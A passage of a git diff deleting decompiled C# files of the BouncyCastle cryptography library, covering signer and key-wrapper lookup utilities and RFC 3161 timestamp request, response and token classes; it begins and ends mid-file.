PkcsObjectIdentifiers.Sha384WithRsaEncryption; - oids["SHA-512withRSA"] = PkcsObjectIdentifiers.Sha512WithRsaEncryption; - oids["PSSwithRSA"] = PkcsObjectIdentifiers.IdRsassaPss; - oids["SHA-1withRSAandMGF1"] = PkcsObjectIdentifiers.IdRsassaPss; - oids["SHA-224withRSAandMGF1"] = PkcsObjectIdentifiers.IdRsassaPss; - oids["SHA-256withRSAandMGF1"] = PkcsObjectIdentifiers.IdRsassaPss; - oids["SHA-384withRSAandMGF1"] = PkcsObjectIdentifiers.IdRsassaPss; - oids["SHA-512withRSAandMGF1"] = PkcsObjectIdentifiers.IdRsassaPss; - oids["RIPEMD128withRSA"] = TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD128; - oids["RIPEMD160withRSA"] = TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD160; - oids["RIPEMD256withRSA"] = TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD256; - oids["SHA-1withDSA"] = X9ObjectIdentifiers.IdDsaWithSha1; - oids["SHA-1withECDSA"] = X9ObjectIdentifiers.ECDsaWithSha1; - oids["SHA-224withECDSA"] = X9ObjectIdentifiers.ECDsaWithSha224; - oids["SHA-256withECDSA"] = X9ObjectIdentifiers.ECDsaWithSha256; - oids["SHA-384withECDSA"] = X9ObjectIdentifiers.ECDsaWithSha384; - oids["SHA-512withECDSA"] = X9ObjectIdentifiers.ECDsaWithSha512; - oids["RIPEMD160withECDSA"] = TeleTrusTObjectIdentifiers.ECSignWithRipeMD160; - oids["SHA-1withCVC-ECDSA"] = EacObjectIdentifiers.id_TA_ECDSA_SHA_1; - oids["SHA-224withCVC-ECDSA"] = EacObjectIdentifiers.id_TA_ECDSA_SHA_224; - oids["SHA-256withCVC-ECDSA"] = EacObjectIdentifiers.id_TA_ECDSA_SHA_256; - oids["SHA-384withCVC-ECDSA"] = EacObjectIdentifiers.id_TA_ECDSA_SHA_384; - oids["SHA-512withCVC-ECDSA"] = EacObjectIdentifiers.id_TA_ECDSA_SHA_512; - oids["SHA-1withPLAIN-ECDSA"] = BsiObjectIdentifiers.ecdsa_plain_SHA1; - oids["SHA-224withPLAIN-ECDSA"] = BsiObjectIdentifiers.ecdsa_plain_SHA224; - oids["SHA-256withPLAIN-ECDSA"] = BsiObjectIdentifiers.ecdsa_plain_SHA256; - oids["SHA-384withPLAIN-ECDSA"] = BsiObjectIdentifiers.ecdsa_plain_SHA384; - oids["SHA-512withPLAIN-ECDSA"] = BsiObjectIdentifiers.ecdsa_plain_SHA512; - oids["RIPEMD160withPLAIN-ECDSA"] = BsiObjectIdentifiers.ecdsa_plain_RIPEMD160; - oids["GOST3410"] = CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x94; - oids["ECGOST3410"] = CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x2001; - oids["Ed25519"] = EdECObjectIdentifiers.id_Ed25519; - oids["Ed448"] = EdECObjectIdentifiers.id_Ed448; - } - - public static DerObjectIdentifier GetObjectIdentifier(string mechanism) - { - if (mechanism == null) - { - throw new ArgumentNullException("mechanism"); - } - mechanism = Platform.ToUpperInvariant(mechanism); - string text = (string)algorithms[mechanism]; - if (text != null) - { - mechanism = text; - } - return (DerObjectIdentifier)oids[mechanism]; - } - - public static Asn1Encodable GetDefaultX509Parameters(DerObjectIdentifier id) - { - return GetDefaultX509Parameters(id.Id); - } - - public static Asn1Encodable GetDefaultX509Parameters(string algorithm) - { - if (algorithm == null) - { - throw new ArgumentNullException("algorithm"); - } - algorithm = Platform.ToUpperInvariant(algorithm); - string text = (string)algorithms[algorithm]; - if (text == null) - { - text = algorithm; - } - if (text == "PSSwithRSA") - { - return GetPssX509Parameters("SHA-1"); - } - if (Platform.EndsWith(text, "withRSAandMGF1")) - { - string digestName = text.Substring(0, text.Length - "withRSAandMGF1".Length); - return GetPssX509Parameters(digestName); - } - return DerNull.Instance; - } - - private static Asn1Encodable GetPssX509Parameters(string digestName) - { - AlgorithmIdentifier algorithmIdentifier = new AlgorithmIdentifier(DigestUtilities.GetObjectIdentifier(digestName), DerNull.Instance); - AlgorithmIdentifier maskGenAlgorithm = new AlgorithmIdentifier(PkcsObjectIdentifiers.IdMgf1, algorithmIdentifier); - int digestSize = DigestUtilities.GetDigest(digestName).GetDigestSize(); - return new RsassaPssParameters(algorithmIdentifier, maskGenAlgorithm, new DerInteger(digestSize), new DerInteger(1)); - } - - public static ISigner GetSigner(DerObjectIdentifier id) - { - return GetSigner(id.Id); - } - - public static ISigner GetSigner(string algorithm) - { - if (algorithm == null) - { - throw new ArgumentNullException("algorithm"); - } - algorithm = Platform.ToUpperInvariant(algorithm); - string text = (string)algorithms[algorithm]; - if (text == null) - { - text = algorithm; - } - if (Platform.StartsWith(text, "Ed")) - { - if (text.Equals("Ed25519")) - { - return new Ed25519Signer(); - } - if (text.Equals("Ed25519ctx")) - { - return new Ed25519ctxSigner(Arrays.EmptyBytes); - } - if (text.Equals("Ed25519ph")) - { - return new Ed25519phSigner(Arrays.EmptyBytes); - } - if (text.Equals("Ed448")) - { - return new Ed448Signer(Arrays.EmptyBytes); - } - if (text.Equals("Ed448ph")) - { - return new Ed448phSigner(Arrays.EmptyBytes); - } - } - if (text.Equals("RSA")) - { - return new RsaDigestSigner((IDigest)new NullDigest(), (AlgorithmIdentifier)null); - } - if (text.Equals("RAWRSASSA-PSS")) - { - return PssSigner.CreateRawSigner(new RsaBlindedEngine(), new Sha1Digest()); - } - if (text.Equals("PSSwithRSA")) - { - return new PssSigner(new RsaBlindedEngine(), new Sha1Digest()); - } - if (Platform.EndsWith(text, "withRSA")) - { - string algorithm2 = text.Substring(0, text.LastIndexOf("with")); - IDigest digest = DigestUtilities.GetDigest(algorithm2); - return new RsaDigestSigner(digest); - } - if (Platform.EndsWith(text, "withRSAandMGF1")) - { - string algorithm3 = text.Substring(0, text.LastIndexOf("with")); - IDigest digest2 = DigestUtilities.GetDigest(algorithm3); - return new PssSigner(new RsaBlindedEngine(), digest2); - } - if (Platform.EndsWith(text, "withDSA")) - { - string algorithm4 = text.Substring(0, text.LastIndexOf("with")); - IDigest digest3 = DigestUtilities.GetDigest(algorithm4); - return new DsaDigestSigner(new DsaSigner(), digest3); - } - if (Platform.EndsWith(text, "withECDSA")) - { - string algorithm5 = text.Substring(0, text.LastIndexOf("with")); - IDigest digest4 = DigestUtilities.GetDigest(algorithm5); - return new DsaDigestSigner(new ECDsaSigner(), digest4); - } - if (Platform.EndsWith(text, "withCVC-ECDSA") || Platform.EndsWith(text, "withPLAIN-ECDSA")) - { - string algorithm6 = text.Substring(0, text.LastIndexOf("with")); - IDigest digest5 = DigestUtilities.GetDigest(algorithm6); - return new DsaDigestSigner(new ECDsaSigner(), digest5, PlainDsaEncoding.Instance); - } - if (Platform.EndsWith(text, "withECNR")) - { - string algorithm7 = text.Substring(0, text.LastIndexOf("with")); - IDigest digest6 = DigestUtilities.GetDigest(algorithm7); - return new DsaDigestSigner(new ECNRSigner(), digest6); - } - if (text.Equals("GOST3410")) - { - return new Gost3410DigestSigner(new Gost3410Signer(), new Gost3411Digest()); - } - if (text.Equals("ECGOST3410")) - { - return new Gost3410DigestSigner(new ECGost3410Signer(), new Gost3411Digest()); - } - if (text.Equals("SHA1WITHRSA/ISO9796-2")) - { - return new Iso9796d2Signer(new RsaBlindedEngine(), new Sha1Digest(), isImplicit: true); - } - if (text.Equals("MD5WITHRSA/ISO9796-2")) - { - return new Iso9796d2Signer(new RsaBlindedEngine(), new MD5Digest(), isImplicit: true); - } - if (text.Equals("RIPEMD160WITHRSA/ISO9796-2")) - { - return new Iso9796d2Signer(new RsaBlindedEngine(), new RipeMD160Digest(), isImplicit: true); - } - if (Platform.EndsWith(text, "/X9.31")) - { - string text2 = text.Substring(0, text.Length - "/X9.31".Length); - int num = Platform.IndexOf(text2, "WITH"); - if (num > 0) - { - int num2 = num + "WITH".Length; - string algorithm8 = text2.Substring(0, num); - IDigest digest7 = DigestUtilities.GetDigest(algorithm8); - string text3 = text2.Substring(num2, text2.Length - num2); - if (text3.Equals("RSA")) - { - IAsymmetricBlockCipher cipher = new RsaBlindedEngine(); - return new X931Signer(cipher, digest7); - } - } - } - throw new SecurityUtilityException("Signer " + algorithm + " not recognised."); - } - - public static string GetEncodingName(DerObjectIdentifier oid) - { - return (string)algorithms[oid.Id]; - } - - public static ISigner InitSigner(DerObjectIdentifier algorithmOid, bool forSigning, AsymmetricKeyParameter privateKey, SecureRandom random) - { - return InitSigner(algorithmOid.Id, forSigning, privateKey, random); - } - - public static ISigner InitSigner(string algorithm, bool forSigning, AsymmetricKeyParameter privateKey, SecureRandom random) - { - ISigner signer = GetSigner(algorithm); - signer.Init(forSigning, ParameterUtilities.WithRandom(privateKey, random)); - return signer; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/WrapperUtilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/WrapperUtilities.cs deleted file mode 100644 index 4ad8367..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/WrapperUtilities.cs +++ /dev/null @@ -1,138 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Kisa; -using Org.BouncyCastle.Asn1.Nist; -using Org.BouncyCastle.Asn1.Ntt; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Engines; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Security; - -public sealed class WrapperUtilities -{ - private enum WrapAlgorithm - { - AESWRAP, - CAMELLIAWRAP, - DESEDEWRAP, - RC2WRAP, - SEEDWRAP, - DESEDERFC3211WRAP, - AESRFC3211WRAP, - CAMELLIARFC3211WRAP - } - - private class BufferedCipherWrapper : IWrapper - { - private readonly IBufferedCipher cipher; - - private bool forWrapping; - - public string AlgorithmName => cipher.AlgorithmName; - - public BufferedCipherWrapper(IBufferedCipher cipher) - { - this.cipher = cipher; - } - - public void Init(bool forWrapping, ICipherParameters parameters) - { - this.forWrapping = forWrapping; - cipher.Init(forWrapping, parameters); - } - - public byte[] Wrap(byte[] input, int inOff, int length) - { - if (!forWrapping) - { - throw new InvalidOperationException("Not initialised for wrapping"); - } - return cipher.DoFinal(input, inOff, length); - } - - public byte[] Unwrap(byte[] input, int inOff, int length) - { - if (forWrapping) - { - throw new InvalidOperationException("Not initialised for unwrapping"); - } - return cipher.DoFinal(input, inOff, length); - } - } - - private static readonly IDictionary algorithms; - - private WrapperUtilities() - { - } - - static WrapperUtilities() - { - algorithms = Platform.CreateHashtable(); - ((WrapAlgorithm)Enums.GetArbitraryValue(typeof(WrapAlgorithm))).ToString(); - algorithms[NistObjectIdentifiers.IdAes128Wrap.Id] = "AESWRAP"; - algorithms[NistObjectIdentifiers.IdAes192Wrap.Id] = "AESWRAP"; - algorithms[NistObjectIdentifiers.IdAes256Wrap.Id] = "AESWRAP"; - algorithms[NttObjectIdentifiers.IdCamellia128Wrap.Id] = "CAMELLIAWRAP"; - algorithms[NttObjectIdentifiers.IdCamellia192Wrap.Id] = "CAMELLIAWRAP"; - algorithms[NttObjectIdentifiers.IdCamellia256Wrap.Id] = "CAMELLIAWRAP"; - algorithms[PkcsObjectIdentifiers.IdAlgCms3DesWrap.Id] = "DESEDEWRAP"; - algorithms["TDEAWRAP"] = "DESEDEWRAP"; - algorithms[PkcsObjectIdentifiers.IdAlgCmsRC2Wrap.Id] = "RC2WRAP"; - algorithms[KisaObjectIdentifiers.IdNpkiAppCmsSeedWrap.Id] = "SEEDWRAP"; - } - - public static IWrapper GetWrapper(DerObjectIdentifier oid) - { - return GetWrapper(oid.Id); - } - - public static IWrapper GetWrapper(string algorithm) - { - string text = Platform.ToUpperInvariant(algorithm); - string text2 = (string)algorithms[text]; - if (text2 == null) - { - text2 = text; - } - try - { - switch ((WrapAlgorithm)Enums.GetEnumValue(typeof(WrapAlgorithm), text2)) - { - case WrapAlgorithm.AESWRAP: - return new AesWrapEngine(); - case WrapAlgorithm.CAMELLIAWRAP: - return new CamelliaWrapEngine(); - case WrapAlgorithm.DESEDEWRAP: - return new DesEdeWrapEngine(); - case WrapAlgorithm.RC2WRAP: - return new RC2WrapEngine(); - case WrapAlgorithm.SEEDWRAP: - return new SeedWrapEngine(); - case WrapAlgorithm.DESEDERFC3211WRAP: - return new Rfc3211WrapEngine(new DesEdeEngine()); - case WrapAlgorithm.AESRFC3211WRAP: - return new Rfc3211WrapEngine(new AesEngine()); - case WrapAlgorithm.CAMELLIARFC3211WRAP: - return new Rfc3211WrapEngine(new CamelliaEngine()); - } - } - catch (ArgumentException) - { - } - IBufferedCipher cipher = CipherUtilities.GetCipher(algorithm); - if (cipher != null) - { - return new BufferedCipherWrapper(cipher); - } - throw new SecurityUtilityException("Wrapper " + algorithm + " not recognised."); - } - - public static string GetAlgorithmName(DerObjectIdentifier oid) - { - return (string)algorithms[oid.Id]; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Tsp/GenTimeAccuracy.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Tsp/GenTimeAccuracy.cs deleted file mode 100644 index 765aaef..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Tsp/GenTimeAccuracy.cs +++ /dev/null @@ -1,30 +0,0 @@ -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Tsp; - -namespace Org.BouncyCastle.Tsp; - -public class GenTimeAccuracy -{ - private Accuracy accuracy; - - public int Seconds => GetTimeComponent(accuracy.Seconds); - - public int Millis => GetTimeComponent(accuracy.Millis); - - public int Micros => GetTimeComponent(accuracy.Micros); - - public GenTimeAccuracy(Accuracy accuracy) - { - this.accuracy = accuracy; - } - - private int GetTimeComponent(DerInteger time) - { - return time?.Value.IntValue ?? 0; - } - - public override string ToString() - { - return Seconds + "." + Millis.ToString("000") + Micros.ToString("000"); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Tsp/TimeStampRequest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Tsp/TimeStampRequest.cs deleted file mode 100644 index 429c64a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Tsp/TimeStampRequest.cs +++ /dev/null @@ -1,149 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Tsp; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.X509; - -namespace Org.BouncyCastle.Tsp; - -public class TimeStampRequest : X509ExtensionBase -{ - private TimeStampReq req; - - private X509Extensions extensions; - - public int Version => req.Version.Value.IntValue; - - public string MessageImprintAlgOid => req.MessageImprint.HashAlgorithm.Algorithm.Id; - - public string ReqPolicy - { - get - { - if (req.ReqPolicy != null) - { - return req.ReqPolicy.Id; - } - return null; - } - } - - public BigInteger Nonce - { - get - { - if (req.Nonce != null) - { - return req.Nonce.Value; - } - return null; - } - } - - public bool CertReq - { - get - { - if (req.CertReq != null) - { - return req.CertReq.IsTrue; - } - return false; - } - } - - internal X509Extensions Extensions => req.Extensions; - - public virtual bool HasExtensions => extensions != null; - - public TimeStampRequest(TimeStampReq req) - { - this.req = req; - extensions = req.Extensions; - } - - public TimeStampRequest(byte[] req) - : this(new Asn1InputStream(req)) - { - } - - public TimeStampRequest(Stream input) - : this(new Asn1InputStream(input)) - { - } - - private TimeStampRequest(Asn1InputStream str) - { - try - { - req = TimeStampReq.GetInstance(str.ReadObject()); - } - catch (InvalidCastException ex) - { - throw new IOException("malformed request: " + ex); - } - catch (ArgumentException ex2) - { - throw new IOException("malformed request: " + ex2); - } - } - - public byte[] GetMessageImprintDigest() - { - return req.MessageImprint.GetHashedMessage(); - } - - public void Validate(IList algorithms, IList policies, IList extensions) - { - if (!algorithms.Contains(MessageImprintAlgOid)) - { - throw new TspValidationException("request contains unknown algorithm", 128); - } - if (policies != null && ReqPolicy != null && !policies.Contains(ReqPolicy)) - { - throw new TspValidationException("request contains unknown policy", 256); - } - if (Extensions != null && extensions != null) - { - foreach (DerObjectIdentifier extensionOid in Extensions.ExtensionOids) - { - if (!extensions.Contains(extensionOid.Id)) - { - throw new TspValidationException("request contains unknown extension", 8388608); - } - } - } - int digestLength = TspUtil.GetDigestLength(MessageImprintAlgOid); - if (digestLength != GetMessageImprintDigest().Length) - { - throw new TspValidationException("imprint digest the wrong length", 4); - } - } - - public byte[] GetEncoded() - { - return req.GetEncoded(); - } - - public virtual X509Extension GetExtension(DerObjectIdentifier oid) - { - if (extensions != null) - { - return extensions.GetExtension(oid); - } - return null; - } - - public virtual IList GetExtensionOids() - { - return TspUtil.GetExtensionOids(extensions); - } - - protected override X509Extensions GetX509Extensions() - { - return Extensions; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Tsp/TimeStampRequestGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Tsp/TimeStampRequestGenerator.cs deleted file mode 100644 index 073497c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Tsp/TimeStampRequestGenerator.cs +++ /dev/null @@ -1,88 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Tsp; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Tsp; - -public class TimeStampRequestGenerator -{ - private DerObjectIdentifier reqPolicy; - - private DerBoolean certReq; - - private IDictionary extensions = Platform.CreateHashtable(); - - private IList extOrdering = Platform.CreateArrayList(); - - public void SetReqPolicy(string reqPolicy) - { - this.reqPolicy = new DerObjectIdentifier(reqPolicy); - } - - public void SetCertReq(bool certReq) - { - this.certReq = DerBoolean.GetInstance(certReq); - } - - [Obsolete("Use method taking DerObjectIdentifier")] - public void AddExtension(string oid, bool critical, Asn1Encodable value) - { - AddExtension(oid, critical, value.GetEncoded()); - } - - [Obsolete("Use method taking DerObjectIdentifier")] - public void AddExtension(string oid, bool critical, byte[] value) - { - DerObjectIdentifier derObjectIdentifier = new DerObjectIdentifier(oid); - extensions[derObjectIdentifier] = new X509Extension(critical, new DerOctetString(value)); - extOrdering.Add(derObjectIdentifier); - } - - public virtual void AddExtension(DerObjectIdentifier oid, bool critical, Asn1Encodable extValue) - { - AddExtension(oid, critical, extValue.GetEncoded()); - } - - public virtual void AddExtension(DerObjectIdentifier oid, bool critical, byte[] extValue) - { - extensions.Add(oid, new X509Extension(critical, new DerOctetString(extValue))); - extOrdering.Add(oid); - } - - public TimeStampRequest Generate(string digestAlgorithm, byte[] digest) - { - return Generate(digestAlgorithm, digest, null); - } - - public TimeStampRequest Generate(string digestAlgorithmOid, byte[] digest, BigInteger nonce) - { - if (digestAlgorithmOid == null) - { - throw new ArgumentException("No digest algorithm specified"); - } - DerObjectIdentifier algorithm = new DerObjectIdentifier(digestAlgorithmOid); - AlgorithmIdentifier hashAlgorithm = new AlgorithmIdentifier(algorithm, DerNull.Instance); - MessageImprint messageImprint = new MessageImprint(hashAlgorithm, digest); - X509Extensions x509Extensions = null; - if (extOrdering.Count != 0) - { - x509Extensions = new X509Extensions(extOrdering, extensions); - } - DerInteger nonce2 = ((nonce == null) ? null : new DerInteger(nonce)); - return new TimeStampRequest(new TimeStampReq(messageImprint, reqPolicy, nonce2, certReq, x509Extensions)); - } - - public virtual TimeStampRequest Generate(DerObjectIdentifier digestAlgorithm, byte[] digest) - { - return Generate(digestAlgorithm.Id, digest); - } - - public virtual TimeStampRequest Generate(DerObjectIdentifier digestAlgorithm, byte[] digest, BigInteger nonce) - { - return Generate(digestAlgorithm.Id, digest, nonce); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Tsp/TimeStampResponse.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Tsp/TimeStampResponse.cs deleted file mode 100644 index a953b92..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Tsp/TimeStampResponse.cs +++ /dev/null @@ -1,128 +0,0 @@ -using System; -using System.IO; -using System.Text; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cmp; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.Tsp; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Tsp; - -public class TimeStampResponse -{ - private TimeStampResp resp; - - private TimeStampToken timeStampToken; - - public int Status => resp.Status.Status.IntValue; - - public TimeStampToken TimeStampToken => timeStampToken; - - public TimeStampResponse(TimeStampResp resp) - { - this.resp = resp; - if (resp.TimeStampToken != null) - { - timeStampToken = new TimeStampToken(resp.TimeStampToken); - } - } - - public TimeStampResponse(byte[] resp) - : this(readTimeStampResp(new Asn1InputStream(resp))) - { - } - - public TimeStampResponse(Stream input) - : this(readTimeStampResp(new Asn1InputStream(input))) - { - } - - private static TimeStampResp readTimeStampResp(Asn1InputStream input) - { - try - { - return TimeStampResp.GetInstance(input.ReadObject()); - } - catch (ArgumentException ex) - { - throw new TspException("malformed timestamp response: " + ex, ex); - } - catch (InvalidCastException ex2) - { - throw new TspException("malformed timestamp response: " + ex2, ex2); - } - } - - public string GetStatusString() - { - if (resp.Status.StatusString == null) - { - return null; - } - StringBuilder stringBuilder = new StringBuilder(); - PkiFreeText statusString = resp.Status.StatusString; - for (int i = 0; i != statusString.Count; i++) - { - stringBuilder.Append(statusString[i].GetString()); - } - return stringBuilder.ToString(); - } - - public PkiFailureInfo GetFailInfo() - { - if (resp.Status.FailInfo == null) - { - return null; - } - return new PkiFailureInfo(resp.Status.FailInfo); - } - - public void Validate(TimeStampRequest request) - { - TimeStampToken timeStampToken = TimeStampToken; - if (timeStampToken != null) - { - TimeStampTokenInfo timeStampInfo = timeStampToken.TimeStampInfo; - if (request.Nonce != null && !request.Nonce.Equals(timeStampInfo.Nonce)) - { - throw new TspValidationException("response contains wrong nonce value."); - } - if (Status != 0 && Status != 1) - { - throw new TspValidationException("time stamp token found in failed request."); - } - if (!Arrays.ConstantTimeAreEqual(request.GetMessageImprintDigest(), timeStampInfo.GetMessageImprintDigest())) - { - throw new TspValidationException("response for different message imprint digest."); - } - if (!timeStampInfo.MessageImprintAlgOid.Equals(request.MessageImprintAlgOid)) - { - throw new TspValidationException("response for different message imprint algorithm."); - } - Org.BouncyCastle.Asn1.Cms.Attribute attribute = timeStampToken.SignedAttributes[PkcsObjectIdentifiers.IdAASigningCertificate]; - Org.BouncyCastle.Asn1.Cms.Attribute attribute2 = timeStampToken.SignedAttributes[PkcsObjectIdentifiers.IdAASigningCertificateV2]; - if (attribute == null && attribute2 == null) - { - throw new TspValidationException("no signing certificate attribute present."); - } - if (attribute != null) - { - } - if (request.ReqPolicy != null && !request.ReqPolicy.Equals(timeStampInfo.Policy)) - { - throw new TspValidationException("TSA policy wrong for request."); - } - } - else if (Status == 0 || Status == 1) - { - throw new TspValidationException("no time stamp token found and one expected."); - } - } - - public byte[] GetEncoded() - { - return resp.GetEncoded(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Tsp/TimeStampResponseGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Tsp/TimeStampResponseGenerator.cs deleted file mode 100644 index 9ff56aa..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Tsp/TimeStampResponseGenerator.cs +++ /dev/null @@ -1,148 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cmp; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.Tsp; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities.Date; - -namespace Org.BouncyCastle.Tsp; - -public class TimeStampResponseGenerator -{ - private class FailInfo : DerBitString - { - internal FailInfo(int failInfoValue) - : base(failInfoValue) - { - } - } - - private PkiStatus status; - - private Asn1EncodableVector statusStrings; - - private int failInfo; - - private TimeStampTokenGenerator tokenGenerator; - - private IList acceptedAlgorithms; - - private IList acceptedPolicies; - - private IList acceptedExtensions; - - public TimeStampResponseGenerator(TimeStampTokenGenerator tokenGenerator, IList acceptedAlgorithms) - : this(tokenGenerator, acceptedAlgorithms, null, null) - { - } - - public TimeStampResponseGenerator(TimeStampTokenGenerator tokenGenerator, IList acceptedAlgorithms, IList acceptedPolicy) - : this(tokenGenerator, acceptedAlgorithms, acceptedPolicy, null) - { - } - - public TimeStampResponseGenerator(TimeStampTokenGenerator tokenGenerator, IList acceptedAlgorithms, IList acceptedPolicies, IList acceptedExtensions) - { - this.tokenGenerator = tokenGenerator; - this.acceptedAlgorithms = acceptedAlgorithms; - this.acceptedPolicies = acceptedPolicies; - this.acceptedExtensions = acceptedExtensions; - statusStrings = new Asn1EncodableVector(); - } - - private void AddStatusString(string statusString) - { - statusStrings.Add(new DerUtf8String(statusString)); - } - - private void SetFailInfoField(int field) - { - failInfo |= field; - } - - private PkiStatusInfo GetPkiStatusInfo() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(new DerInteger((int)status)); - if (statusStrings.Count > 0) - { - asn1EncodableVector.Add(new PkiFreeText(new DerSequence(statusStrings))); - } - if (failInfo != 0) - { - asn1EncodableVector.Add(new FailInfo(failInfo)); - } - return new PkiStatusInfo(new DerSequence(asn1EncodableVector)); - } - - public TimeStampResponse Generate(TimeStampRequest request, BigInteger serialNumber, DateTime genTime) - { - return Generate(request, serialNumber, new DateTimeObject(genTime)); - } - - public TimeStampResponse Generate(TimeStampRequest request, BigInteger serialNumber, DateTimeObject genTime) - { - TimeStampResp resp; - try - { - if (genTime == null) - { - throw new TspValidationException("The time source is not available.", 512); - } - request.Validate(acceptedAlgorithms, acceptedPolicies, acceptedExtensions); - status = PkiStatus.Granted; - AddStatusString("Operation Okay"); - PkiStatusInfo pkiStatusInfo = GetPkiStatusInfo(); - ContentInfo instance; - try - { - TimeStampToken timeStampToken = tokenGenerator.Generate(request, serialNumber, genTime.Value); - byte[] encoded = timeStampToken.ToCmsSignedData().GetEncoded(); - instance = ContentInfo.GetInstance(Asn1Object.FromByteArray(encoded)); - } - catch (IOException e) - { - throw new TspException("Timestamp token received cannot be converted to ContentInfo", e); - } - resp = new TimeStampResp(pkiStatusInfo, instance); - } - catch (TspValidationException ex) - { - status = PkiStatus.Rejection; - SetFailInfoField(ex.FailureCode); - AddStatusString(ex.Message); - PkiStatusInfo pkiStatusInfo2 = GetPkiStatusInfo(); - resp = new TimeStampResp(pkiStatusInfo2, null); - } - try - { - return new TimeStampResponse(resp); - } - catch (IOException e2) - { - throw new TspException("created badly formatted response!", e2); - } - } - - public TimeStampResponse GenerateFailResponse(PkiStatus status, int failInfoField, string statusString) - { - this.status = status; - SetFailInfoField(failInfoField); - if (statusString != null) - { - AddStatusString(statusString); - } - PkiStatusInfo pkiStatusInfo = GetPkiStatusInfo(); - TimeStampResp resp = new TimeStampResp(pkiStatusInfo, null); - try - { - return new TimeStampResponse(resp); - } - catch (IOException e) - { - throw new TspException("created badly formatted response!", e); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Tsp/TimeStampToken.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Tsp/TimeStampToken.cs deleted file mode 100644 index 9ad59f7..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Tsp/TimeStampToken.cs +++ /dev/null @@ -1,228 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.Ess; -using Org.BouncyCastle.Asn1.Nist; -using Org.BouncyCastle.Asn1.Oiw; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.Tsp; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Cms; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Security.Certificates; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.X509; -using Org.BouncyCastle.X509.Store; - -namespace Org.BouncyCastle.Tsp; - -public class TimeStampToken -{ - private class CertID - { - private EssCertID certID; - - private EssCertIDv2 certIDv2; - - public IssuerSerial IssuerSerial - { - get - { - if (certID == null) - { - return certIDv2.IssuerSerial; - } - return certID.IssuerSerial; - } - } - - internal CertID(EssCertID certID) - { - this.certID = certID; - certIDv2 = null; - } - - internal CertID(EssCertIDv2 certID) - { - certIDv2 = certID; - this.certID = null; - } - - public string GetHashAlgorithmName() - { - if (certID != null) - { - return "SHA-1"; - } - if (NistObjectIdentifiers.IdSha256.Equals(certIDv2.HashAlgorithm.Algorithm)) - { - return "SHA-256"; - } - return certIDv2.HashAlgorithm.Algorithm.Id; - } - - public AlgorithmIdentifier GetHashAlgorithm() - { - if (certID == null) - { - return certIDv2.HashAlgorithm; - } - return new AlgorithmIdentifier(OiwObjectIdentifiers.IdSha1); - } - - public byte[] GetCertHash() - { - if (certID == null) - { - return certIDv2.GetCertHash(); - } - return certID.GetCertHash(); - } - } - - private readonly CmsSignedData tsToken; - - private readonly SignerInformation tsaSignerInfo; - - private readonly TimeStampTokenInfo tstInfo; - - private readonly CertID certID; - - public TimeStampTokenInfo TimeStampInfo => tstInfo; - - public SignerID SignerID => tsaSignerInfo.SignerID; - - public Org.BouncyCastle.Asn1.Cms.AttributeTable SignedAttributes => tsaSignerInfo.SignedAttributes; - - public 